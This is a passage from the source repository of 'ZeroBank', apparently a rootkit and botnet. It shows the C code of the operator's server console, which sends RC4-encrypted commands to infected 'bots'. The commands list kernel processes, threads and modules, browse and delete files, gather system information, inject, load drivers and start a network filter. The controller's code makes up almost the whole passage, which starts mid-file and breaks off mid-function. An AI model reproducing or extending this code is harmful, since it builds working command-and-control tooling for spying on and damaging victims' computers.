| char buffer[50] = { 0 }; 78 | BOOLEAN ret; 79 | rc4_ctx ctx = { 0 }; 80 | 81 | printf("\r\n{ FILE-DELETE-PLUGIN } Introduce file to delete-> "); 82 | scanf("%s", type.FileName_For_File_Deletion); 83 | 84 | type.PacketType = PacketType; 85 | 86 | sendsize = send_packet_encrypted(Socket, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&type, sizeof(ZEROBANK_PACKET_TYPE)); 87 | if (sendsize > 0) 88 | { 89 | recvsize = recv(Socket, buffer, sizeof(buffer), 0); 90 | if (recvsize > 0) 91 | { 92 | rc4_init(&ctx, key1, sizeof(key1)); 93 | rc4_decrypt(&ctx, (const uint8*)buffer, (uint8*)buffer, recvsize); 94 | 95 | buffer[recvsize] = '\0'; 96 | printf("\r\n{ FILE-DELETE-PLUGIN } %s", buffer); 97 | ret = TRUE; 98 | } 99 | else 100 | { 101 | #ifdef _DEBUG 102 | printf("\r\n[!] Error receiving string: %d", RtlGetLastWin32Error()); 103 | #endif 104 | ret = FALSE; 105 | } 106 | } 107 | else 108 | { 109 | #ifdef _DEBUG 110 | printf("\r\n[!] Error sending packet type: %d", RtlGetLastWin32Error()); 111 | #endif 112 | ret = FALSE; 113 | } 114 | 115 | return ret; 116 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_file.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | typedef struct _ROOTKIT_FILEEXPLORER_ENTRY { 5 | LIST_ENTRY Entry; 6 | CHAR FileName[255]; 7 | CHAR CreateTime[255]; 8 | CHAR WriteTime[255]; 9 | }ROOTKIT_FILEEXPLORER_ENTRY, *PROOTKIT_FILEEXPLORER_ENTRY; 10 | 11 | typedef struct _ROOTKIT_FILEEXPLORER_LIST_HEAD { 12 | LIST_ENTRY Entry; 13 | ULONG NumberOfElements; 14 | }ROOTKIT_FILEEXPLORER_LIST_HEAD, *PROOTKIT_FILEEXPLORER_LIST_HEAD; 15 | 16 | BOOLEAN rootkit_get_kernel_fileexplorer(IN SOCKET sock, IN BYTE PacketType); 17 | BOOLEAN rootkit_delete_file(IN SOCKET Socket, IN BYTE PacketType); -------------------------------------------------------------------------------- /ZeroBank!server/server_globals.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "server_ntapi.h" 7 | #include "server_modules.h" 8 | #include "server_file.h" 9 | #include "server_process.h" 10 | #include "server_thread.h" 11 | #include "server_transfer.h" 12 | #include "server_disconnect.h" 13 | #include "server_info.h" 14 | #include "server_rc4.h" 15 | #include "server_md5.h" 16 | #include "server_cmd.h" 17 | #include "server_connections.h" 18 | #include "server_tdifilter.h" 19 | #include "server_sendrequests.h" 20 | 21 | 22 | #pragma comment(lib,"ws2_32.lib") 23 | 24 | 25 | #define ZB_INJECT 1 26 | #define ZB_KERNEL_TO_USER_TRANSFER 2 27 | #define ZB_USER_TO_KERNEL_TRANSFER 3 28 | #define ZB_LOAD_DRIVER 4 29 | #define ZB_DISCONNECT 5 30 | #define ZB_EPROCESS 6 31 | #define ZB_ETHREAD 7 32 | #define ZB_MODULES 8 33 | #define ZB_FILE_EXPLORER 9 34 | #define ZB_DELETE_FILE 10 35 | #define ZB_INTERNAL_SYSTEM_INFORMATION 11 36 | #define ZB_START_TDI_FILTER 12 37 | #define ZB_STOP_TDI_FILTER 13 38 | #define ZB_GET_BOT_CONNECTIONS 14 39 | #define ZB_GET_BOT_SEND_REQUESTS 15 40 | 41 | 42 | 43 | DWORD WINAPI ClientThread(LPVOID lParam); 44 | DWORD WINAPI ServerThread(USHORT Port, PCHAR Ip); 45 | extern RTL_CRITICAL_SECTION g_sec; 46 | 47 | 48 | typedef struct _ZEROBANK_BOT_HEADER 49 | { 50 | CHAR Os[40]; 51 | ULONG majorver; 52 | ULONG minorver; 53 | ULONG Build; 54 | CHAR Arch[5]; 55 | CHAR BotId[255]; 56 | BOOLEAN IsNtServer; 57 | CHAR Locale[255]; 58 | CHAR lang[255]; 59 | }ZEROBANK_BOT_HEADER, *PZEROBANK_BOT_HEADER; 60 | 61 | 62 | typedef struct _ZEROBANK_PACKET_TYPE 63 | { 64 | UCHAR PacketType; 65 | UINT32 ProcessId_For_ETHREAD_plugin; 66 | UINT32 ProcessId_For_QueryProcessInformation_Plugin; 67 | CHAR FileName_For_FileExplorer_plugin[255]; 68 | CHAR FileName_For_File_Transfer[255]; 69 | CHAR FileName_For_File_Deletion[255]; 70 | }ZEROBANK_PACKET_TYPE, *PZEROBANK_PACKET_TYPE; 71 | 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /ZeroBank!server/server_info.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | 4 | BOOLEAN rootkit_get_sys_information(IN SOCKET sock, IN BYTE PacketType) 5 | { 6 | INT sendsize = 0; 7 | INT recvsize = 0; 8 | ZEROBANK_PACKET_TYPE Packet = { 0 }; 9 | PROOTKIT_SYS_INFORMATION sysinfo = NULL, entry = NULL; 10 | PVOID Out = NULL; 11 | char databuffer[255] = { 0 }; 12 | char interfacebuffer[255] = { 0 }; 13 | BOOLEAN ret; 14 | 15 | Packet.PacketType = PacketType; 16 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&Packet, sizeof(ZEROBANK_PACKET_TYPE)); 17 | if (sendsize > 0) 18 | { 19 | Out = recv_decrypted(sock, RC4_KEY_2, (PROOTKIT_SYS_INFORMATION)entry, sizeof(ROOTKIT_SYS_INFORMATION)); 20 | if (Out != NULL) 21 | { 22 | sysinfo = (PROOTKIT_SYS_INFORMATION)Out; 23 | if (sysinfo) 24 | { 25 | printf("\r\n/************ BOT_CONFIGURATION_MANAGER_INFORMATION *************"); 26 | printf("\r\n"); 27 | printf("\r\n[*] Number Of CdRoms: %lu", sysinfo->NumberOfCdRoms); 28 | printf("\r\n[*] Number Of Disks: %lu", sysinfo->NumberOfDisks); 29 | printf("\r\n[*] Number Of Floppies: %lu", sysinfo->NumberOfFloppies); 30 | printf("\r\n[*] Number Of Parallel Ports: %lu", sysinfo->NumberOfParallelPorts); 31 | printf("\r\n[*] Number Of Serial Ports: %lu", sysinfo->NumberOfSerialPorts); 32 | printf("\r\n[*] Number Of Scsi Ports: %lu", sysinfo->ScsiCount); 33 | printf("\r\n[*] Number Of Tape Drives: %lu", sysinfo->TapeDrivesCount); 34 | printf("\r\n"); 35 | printf("\r\n************ BOT_PROCESSOR_MANAGER_INFORMATION **************"); 36 | printf("\r\n"); 37 | printf("\r\n[*] Ke Active Group Count: %lu", sysinfo->ActiveGroupCount); 38 | printf("\r\n[*] Ke Active Processors: %lu", (ULONG)sysinfo->ActiveProcessors); 39 | printf("\r\n[*] Ke Active Processors Count: %lu", sysinfo->ActiveProcessorsCount); 40 | printf("\r\n[*] Ke Max Processor Count: %lu", sysinfo->MaximunProcessorCount); 41 | printf("\r\n[*] Ke Interrupt Time: %ld", sysinfo->InterruptTime); 42 | 43 | ret = TRUE; 44 | } 45 | } 46 | else 47 | { 48 | printf("\r\n[!] Error allocating and decrypting data: %d", RtlGetLastWin32Error()); 49 | ret = FALSE; 50 | } 51 | 52 | } 53 | else 54 | { 55 | printf("\r\n[!] Error sending packet type: %d", RtlGetLastWin32Error()); 56 | ret = FALSE; 57 | } 58 | 59 | return ret; 60 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_info.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _ROOTKIT_SYS_INFORMATION 4 | { 5 | unsigned long NumberOfDisks; 6 | unsigned long NumberOfFloppies; 7 | unsigned long NumberOfCdRoms; 8 | unsigned long NumberOfSerialPorts; 9 | unsigned long NumberOfParallelPorts; 10 | unsigned long TapeDrivesCount; 11 | unsigned long ScsiCount; 12 | unsigned short ActiveGroupCount; 13 | KAFFINITY ActiveProcessors; 14 | unsigned long ActiveProcessorsCount; 15 | unsigned long long InterruptTime; 16 | unsigned long MaximunProcessorCount; 17 | 18 | }ROOTKIT_SYS_INFORMATION, *PROOTKIT_SYS_INFORMATION; 19 | 20 | BOOLEAN rootkit_get_sys_information(IN SOCKET sock, IN BYTE PacketType); -------------------------------------------------------------------------------- /ZeroBank!server/server_md5.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | void MD5Init(MD5Context *ctx) 4 | { 5 | ctx->buf[0] = 0x67452301; 6 | ctx->buf[1] = 0xefcdab89; 7 | ctx->buf[2] = 0x98badcfe; 8 | ctx->buf[3] = 0x10325476; 9 | 10 | ctx->bits[0] = 0; 11 | ctx->bits[1] = 0; 12 | } 13 | 14 | void MD5Update(MD5Context *ctx, unsigned char const *buf, UINT32 len) 15 | { 16 | UINT32 t; 17 | 18 | /* Update bitcount */ 19 | 20 | t = ctx->bits[0]; 21 | if ((ctx->bits[0] = (t + ((UINT32)len << 3)) & 0xffffffff) < t) 22 | ctx->bits[1]++; /* Carry from low to high */ 23 | ctx->bits[1] += len >> 29; 24 | 25 | t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */ 26 | 27 | /* Handle any leading odd-sized chunks */ 28 | 29 | if (t) { 30 | unsigned char *p = ctx->in + t; 31 | 32 | t = 64 - t; 33 | if (len < t) { 34 | memcpy(p, buf, len); 35 | return; 36 | } 37 | memcpy(p, buf, t); 38 | MD5Transform(ctx->buf, ctx->in); 39 | buf += t; 40 | len -= t; 41 | } 42 | /* Process data in 64-byte chunks */ 43 | 44 | while (len >= 64) { 45 | memcpy(ctx->in, buf, 64); 46 | MD5Transform(ctx->buf, ctx->in); 47 | buf += 64; 48 | len -= 64; 49 | } 50 | 51 | /* Handle any remaining bytes of data. */ 52 | 53 | memcpy(ctx->in, buf, len); 54 | } 55 | 56 | void MD5Final(unsigned char digest[16], MD5Context *ctx) 57 | { 58 | unsigned count; 59 | unsigned char *p; 60 | 61 | /* Compute number of bytes mod 64 */ 62 | count = (ctx->bits[0] >> 3) & 0x3F; 63 | 64 | /* Set the first char of padding to 0x80. This is safe since there is 65 | always at least one byte free */ 66 | p = ctx->in + count; 67 | *p++ = 0x80; 68 | 69 | /* Bytes of padding needed to make 64 bytes */ 70 | count = 64 - 1 - count; 71 | 72 | /* Pad out to 56 mod 64 */ 73 | if (count < 8) { 74 | /* Two lots of padding: Pad the first block to 64 bytes */ 75 | memset(p, 0, count); 76 | MD5Transform(ctx->buf, ctx->in); 77 | 78 | /* Now fill the next block with 56 bytes */ 79 | memset(ctx->in, 0, 56); 80 | } 81 | else { 82 | /* Pad block to 56 bytes */ 83 | memset(p, 0, count - 8); 84 | } 85 | 86 | /* Append length in bits and transform */ 87 | PUT_32BIT_LSB_FIRST(ctx->in + 56, ctx->bits[0]); 88 | PUT_32BIT_LSB_FIRST(ctx->in + 60, ctx->bits[1]); 89 | 90 | MD5Transform(ctx->buf, ctx->in); 91 | PUT_32BIT_LSB_FIRST(digest, ctx->buf[0]); 92 | PUT_32BIT_LSB_FIRST(digest + 4, ctx->buf[1]); 93 | PUT_32BIT_LSB_FIRST(digest + 8, ctx->buf[2]); 94 | PUT_32BIT_LSB_FIRST(digest + 12, ctx->buf[3]); 95 | memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */ 96 | } 97 | 98 | void MD5Transform(UINT32 buf[4], const unsigned char inext[64]) 99 | { 100 | register unsigned short a, b, c, d, i; 101 | unsigned short in[16]; 102 | 103 | for (i = 0; i < 16; i++) 104 | in[i] = GET_32BIT_LSB_FIRST(inext + 4 * i); 105 | 106 | a = buf[0]; 107 | b = buf[1]; 108 | c = buf[2]; 109 | d = buf[3]; 110 | 111 | MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7); 112 | MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12); 113 | MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17); 114 | MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22); 115 | MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7); 116 | MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12); 117 | MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17); 118 | MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22); 119 | MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7); 120 | MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12); 121 | MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17); 122 | MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22); 123 | MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7); 124 | MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12); 125 | MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17); 126 | MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22); 127 | 128 | MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5); 129 | MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9); 130 | MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14); 131 | MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20); 132 | MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5); 133 | MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9); 134 | MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14); 135 | MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20); 136 | MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5); 137 | MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9); 138 | MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14); 139 | MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20); 140 | MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5); 141 | MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9); 142 | MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14); 143 | MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20); 144 | 145 | MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4); 146 | MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11); 147 | MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16); 148 | MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23); 149 | MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4); 150 | MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11); 151 | MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16); 152 | MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23); 153 | MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4); 154 | MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11); 155 | MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16); 156 | MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23); 157 | MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4); 158 | MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11); 159 | MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16); 160 | MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23); 161 | 162 | MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6); 163 | MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10); 164 | MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15); 165 | MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21); 166 | MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6); 167 | MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10); 168 | MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15); 169 | MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21); 170 | MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6); 171 | MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10); 172 | MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15); 173 | MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21); 174 | MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6); 175 | MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10); 176 | MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15); 177 | MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21); 178 | 179 | buf[0] += a; 180 | buf[1] += b; 181 | buf[2] += c; 182 | buf[3] += d; 183 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_md5.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define GET_32BIT_LSB_FIRST(cp) (((UINT32)(unsigned char)(cp)[0]) | \ 4 | ((UINT32)(unsigned char)(cp)[1] << 8 ) | \ 5 | ((UINT32)(unsigned char)(cp)[2] << 16) | \ 6 | ((UINT32)(unsigned char)(cp)[3] << 24)) 7 | 8 | #define PUT_32BIT_LSB_FIRST(cp, value) do { \ 9 | (cp)[0] = (value) & 0xFF; \ 10 | (cp)[1] = ((value) >> 8) & 0xFF; \ 11 | (cp)[2] = ((value) >> 16) & 0xFF; \ 12 | (cp)[3] = ((value) >> 24) & 0xFF; \ 13 | } while(0) 14 | 15 | #define F1(x, y, z) (z ^ (x & (y ^ z))) 16 | #define F2(x, y, z) F1(z, x, y) 17 | #define F3(x, y, z) (x ^ y ^ z) 18 | #define F4(x, y, z) (y ^ (x | ~z)) 19 | #define MD5STEP(f, w, x, y, z, data, s) ( w += f(x, y, z) + data, w = w<>(32-s), w += x ) 20 | 21 | typedef struct _MD5Context 22 | { 23 | UINT32 buf[4]; 24 | UINT32 bits[2]; 25 | unsigned char in[64]; 26 | } MD5Context; 27 | 28 | void MD5Init(MD5Context *ctx); 29 | void MD5Update(MD5Context *ctx, unsigned char const *buf, UINT32 len); 30 | void MD5Final(unsigned char digest[16], MD5Context *ctx); 31 | void MD5Transform(UINT32 buf[4], const unsigned char inext[64]); -------------------------------------------------------------------------------- /ZeroBank!server/server_modules.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | BOOLEAN rootkit_get_modules(IN SOCKET sock, IN BYTE PacketType) 4 | { 5 | ZEROBANK_PACKET_TYPE typeofpacket = { 0 }; 6 | INT sendsize = 0; 7 | INT recvsize = 0; 8 | PROOTKIT_MODULES_LIST_HEAD Entrybuffer = NULL; 9 | PROOTKIT_MODULES_ENTRY entry = NULL, buffer = NULL; 10 | ULONG getsize = 0; 11 | PVOID Out = NULL; 12 | ULONG NumberOfModules = 0; 13 | BOOLEAN ret; 14 | 15 | CHAR ImageBase[30] = { 0 }; 16 | CHAR ModulePath[260] = { 0 }; 17 | CHAR ModuleName[260] = { 0 }; 18 | CHAR ImageSize[30] = { 0 }; 19 | CHAR LoadOrderIndex[30] = { 0 }; 20 | 21 | char *baseaddress = "ImageBase"; 22 | char *path = "Path"; 23 | char *module = "Name"; 24 | char *size = "ImageSize"; 25 | char *order = "LoadOrder"; 26 | 27 | typeofpacket.PacketType = PacketType; 28 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&typeofpacket, sizeof(ZEROBANK_PACKET_TYPE)); 29 | if (sendsize > 0) 30 | { 31 | recvsize = recv(sock, (char*)&getsize, sizeof(ULONG), 0); 32 | if (recvsize > 0) 33 | { 34 | 35 | Out = recv_decrypted(sock, RC4_KEY_2, (PROOTKIT_MODULES_ENTRY)buffer, getsize); 36 | if (Out != NULL) 37 | { 38 | entry = (PROOTKIT_MODULES_ENTRY)Out; 39 | if (entry) 40 | { 41 | printf("\r\n"); 42 | printf("\r\n%s %10s %30s %50s %10s", baseaddress, size, module, path, order); 43 | printf("\r\n"); 44 | 45 | NumberOfModules = getsize / sizeof(ROOTKIT_MODULES_ENTRY); 46 | 47 | for (ULONG i = 0; i < NumberOfModules; i++, entry++) 48 | { 49 | wsprintfA(ImageBase, "\r\n0x%p", entry->ImageBase); 50 | wsprintfA(ImageSize, "%11lu", entry->ImageSize); 51 | wsprintfA(ModuleName, "%30s", entry->ModuleName); 52 | wsprintfA(ModulePath, "%50s", entry->ModulePath); 53 | wsprintfA(LoadOrderIndex, "%11lu", entry->LoadOrderIndex); 54 | 55 | printf(ImageBase); 56 | printf(ImageSize); 57 | printf(ModuleName); 58 | printf(ModulePath); 59 | printf(LoadOrderIndex); 60 | 61 | ret = TRUE; 62 | } 63 | } 64 | RtlFreeHeap(GetProcessHeap(), 0, Out); 65 | Out = NULL; 66 | } 67 | } 68 | else 69 | { 70 | printf("\r\n[!] Error receiving allocation bytes: %d", RtlGetLastWin32Error()); 71 | ret = FALSE; 72 | } 73 | 74 | } 75 | 76 | else 77 | { 78 | printf("\r\n[!] Error sending packet type: %d",RtlGetLastWin32Error()); 79 | ret = FALSE; 80 | } 81 | 82 | return ret; 83 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_modules.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | typedef struct _ROOTKIT_MODULES_ENTRY { 5 | LIST_ENTRY Entry; 6 | CHAR ModulePath[260]; 7 | CHAR ModuleName[260]; 8 | PVOID ImageBase; 9 | ULONG ImageSize; 10 | ULONG LoadOrderIndex; 11 | }ROOTKIT_MODULES_ENTRY, *PROOTKIT_MODULES_ENTRY; 12 | 13 | typedef struct _ROOTKIT_MODULES_LIST_HEAD { 14 | LIST_ENTRY Entry; 15 | ULONG NumberOfEntries; 16 | }ROOTKIT_MODULES_LIST_HEAD, *PROOTKIT_MODULES_LIST_HEAD; 17 | 18 | BOOLEAN rootkit_get_modules(IN SOCKET sock, IN BYTE PacketType); -------------------------------------------------------------------------------- /ZeroBank!server/server_process.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | 4 | BOOL rootkit_get_processes(IN SOCKET sock, IN BYTE PacketType) 5 | { 6 | ZEROBANK_PACKET_TYPE packet = { 0 }; 7 | PZEROBANK_PACKET_TYPE out = NULL; 8 | PROOTKIT_PROCESS_ENTRY entry = NULL; 9 | PROOTKIT_PROCESS_ENTRY buffer = NULL; 10 | INT sendsize = 0; 11 | INT recvsize = 0; 12 | ULONG getsize = 0; 13 | PROOTKIT_PROCESS_LIST_HEAD entrybuffer = NULL; 14 | PVOID Out = NULL; 15 | ULONG NumberOfProcess = 0; 16 | BOOL ret; 17 | rc4_ctx ctxdec = { 0 }; 18 | INT bytesent = 0; 19 | 20 | char *eprocess = "Eprocess"; 21 | char *pid = "Pid"; 22 | char *ppid = "Ppid"; 23 | char *Image = "Process"; 24 | char *Time = "CreateTime"; 25 | char *Prot = "Protected"; 26 | 27 | 28 | packet.PacketType = PacketType; 29 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&packet, sizeof(ZEROBANK_PACKET_TYPE)); 30 | if (sendsize > 0) 31 | { 32 | // recv bytes for allocation 33 | 34 | recvsize = recv(sock, (char*)&getsize, sizeof(ULONG), 0); 35 | if (recvsize > 0 && getsize > 0) 36 | { 37 | // recv buffer and decrypt it 38 | 39 | Out = recv_decrypted(sock, RC4_KEY_2, (PROOTKIT_PROCESS_ENTRY)buffer, getsize); 40 | if (Out != NULL) 41 | { 42 | // get total number of processes 43 | 44 | NumberOfProcess = getsize / sizeof(ROOTKIT_PROCESS_ENTRY); 45 | 46 | // fill the structure with the memory returned from recv_crypted 47 | 48 | entry = (PROOTKIT_PROCESS_ENTRY)Out; 49 | 50 | printf("\r\n"); 51 | printf("\r\n%s %10s %13s %26s %35s %20s", eprocess, pid, ppid, Image, Time, Prot); 52 | printf("\r\n"); 53 | 54 | for (ULONG i = 0; i < NumberOfProcess; i++, entry++) 55 | { 56 | 57 | printf("\r\n0x%p %10d %13d %26s %35s %20s", 58 | entry->Eprocess, \ 59 | entry->pid, \ 60 | entry->ppid, \ 61 | entry->ImageFileName, \ 62 | entry->ProcessCreationTime, \ 63 | entry->IsProcessProtected ? "Yes" : "No"); 64 | 65 | ret = TRUE; 66 | } 67 | RtlFreeHeap(GetProcessHeap(), 0, Out); 68 | Out = NULL; 69 | } 70 | } 71 | } 72 | else 73 | { 74 | ret = FALSE; 75 | } 76 | 77 | return ret; 78 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_process.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _ROOTKIT_PROCESS_ENTRY { 4 | LIST_ENTRY Entry; 5 | UINT32 pid; 6 | UINT32 ppid; 7 | ULONG_PTR Eprocess; 8 | CHAR ProcessCreationTime[260]; 9 | CHAR ImageFileName[50]; 10 | BOOLEAN IsProcessProtected; 11 | }ROOTKIT_PROCESS_ENTRY, *PROOTKIT_PROCESS_ENTRY; 12 | 13 | typedef struct _ROOTKIT_PROCESS_LIST_HEAD { 14 | 15 | ULONG NumberOfProcesses; 16 | LIST_ENTRY Entry; 17 | }ROOTKIT_PROCESS_LIST_HEAD, *PROOTKIT_PROCESS_LIST_HEAD; 18 | 19 | BOOL rootkit_get_processes(IN SOCKET sock, IN BYTE PacketType); -------------------------------------------------------------------------------- /ZeroBank!server/server_rc4.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | void rc4_init(rc4_ctx *ctx, const uint8 *key, uint32 key_len) 4 | { 5 | uint32 i; 6 | uint8 *s; 7 | uint8 t, tmp; 8 | 9 | t = 0; 10 | s = ctx->se; 11 | 12 | assert(key_len > 0 && key_len <= 256); 13 | 14 | ctx->pose = 1; 15 | ctx->posd = 1; 16 | ctx->te = 0; 17 | ctx->td = 0; 18 | 19 | memcpy(s, rc4_table, 256); 20 | 21 | for (i = 0; i < 256; i++) { 22 | t += s[i] + key[i % key_len]; 23 | SWAP(s[i], s[t]); 24 | } 25 | 26 | memcpy(ctx->sd, s, 256); 27 | } 28 | 29 | void rc4_encrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len) 30 | { 31 | uint32 i; 32 | uint32 pos; 33 | const uint8 *new_src; 34 | uint8 *s, *new_dst; 35 | uint8 t, tmp; 36 | 37 | pos = ctx->pose; 38 | s = ctx->se; 39 | t = ctx->te; 40 | 41 | new_src = src - pos; 42 | new_dst = dst - pos; 43 | 44 | for (i = pos; i < len + pos; i++) { 45 | RC4_CRYPT(); 46 | } 47 | 48 | ctx->pose = i; 49 | ctx->te = t; 50 | } 51 | 52 | void rc4_decrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len) 53 | { 54 | uint32 i; 55 | uint32 pos; 56 | const uint8 *new_src; 57 | uint8 *s, *new_dst; 58 | uint8 t, tmp; 59 | 60 | pos = ctx->posd; 61 | s = ctx->sd; 62 | t = ctx->td; 63 | 64 | new_src = src - pos; 65 | new_dst = dst - pos; 66 | 67 | for (i = pos; i < len + pos; i++) { 68 | RC4_CRYPT(); 69 | } 70 | 71 | ctx->posd = i; 72 | ctx->td = t; 73 | } 74 | 75 | 76 | INT send_packet_encrypted(IN SOCKET sock,IN INT keytype, IN PVOID Buffer, IN INT len) 77 | { 78 | PZEROBANK_PACKET_TYPE typeout = NULL; 79 | rc4_ctx ctx = { 0 }; 80 | INT sendsize = 0; 81 | 82 | // allocate memory for output buffer 83 | 84 | typeout = (PZEROBANK_PACKET_TYPE)RtlAllocateHeap(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(ZEROBANK_PACKET_TYPE)); 85 | if (typeout != NULL) 86 | { 87 | // zero out the buffer 88 | 89 | RtlSecureZeroMemory(typeout, sizeof(ZEROBANK_PACKET_TYPE)); 90 | 91 | // init rc4 context selecting key number previously 92 | 93 | switch (keytype) 94 | { 95 | case RC4_KEY_1: 96 | rc4_init(&ctx, key1, sizeof(key1)); 97 | break; 98 | case RC4_KEY_2: 99 | rc4_init(&ctx, key2, sizeof(key2)); 100 | break; 101 | case RC4_KEY_3: 102 | rc4_init(&ctx, key3, sizeof(key3)); 103 | break; 104 | default: 105 | break; 106 | } 107 | 108 | // encrypt packet-buffer 109 | 110 | rc4_encrypt(&ctx, (const uint8*)Buffer, (uint8*)typeout, len); 111 | 112 | // send buffer 113 | 114 | sendsize = send(sock, (const char*)typeout, len, 0); 115 | if (sendsize <= 0) 116 | return 1; 117 | } 118 | 119 | // free previous allocated memory 120 | 121 | RtlFreeHeap(GetProcessHeap(), 0, typeout); 122 | 123 | return sendsize; 124 | } 125 | 126 | 127 | PVOID recv_decrypted(IN SOCKET sock, IN INT keytype, IN PVOID Alloc, IN ULONG NumberOfBytes) 128 | { 129 | rc4_ctx ctx = { 0 }; 130 | int offset = 0; 131 | int amount = 0; 132 | PVOID out = NULL; 133 | 134 | switch (keytype) 135 | { 136 | case RC4_KEY_1: 137 | rc4_init(&ctx, key1, sizeof(key1)); 138 | break; 139 | case RC4_KEY_2: 140 | rc4_init(&ctx, key2, sizeof(key2)); 141 | break; 142 | case RC4_KEY_3: 143 | rc4_init(&ctx, key3, sizeof(key3)); 144 | break; 145 | default: 146 | break; 147 | } 148 | 149 | Alloc = RtlAllocateHeap(GetProcessHeap(), HEAP_ZERO_MEMORY, NumberOfBytes); 150 | if (Alloc == NULL) 151 | return 1; 152 | 153 | memset(Alloc, 0, NumberOfBytes); 154 | 155 | while (NumberOfBytes > offset) 156 | { 157 | amount = recv(sock, (char*)Alloc + offset, NumberOfBytes - offset, 0); 158 | if (amount <= 0) 159 | break; 160 | else 161 | offset += amount; 162 | } 163 | 164 | rc4_decrypt(&ctx, (const 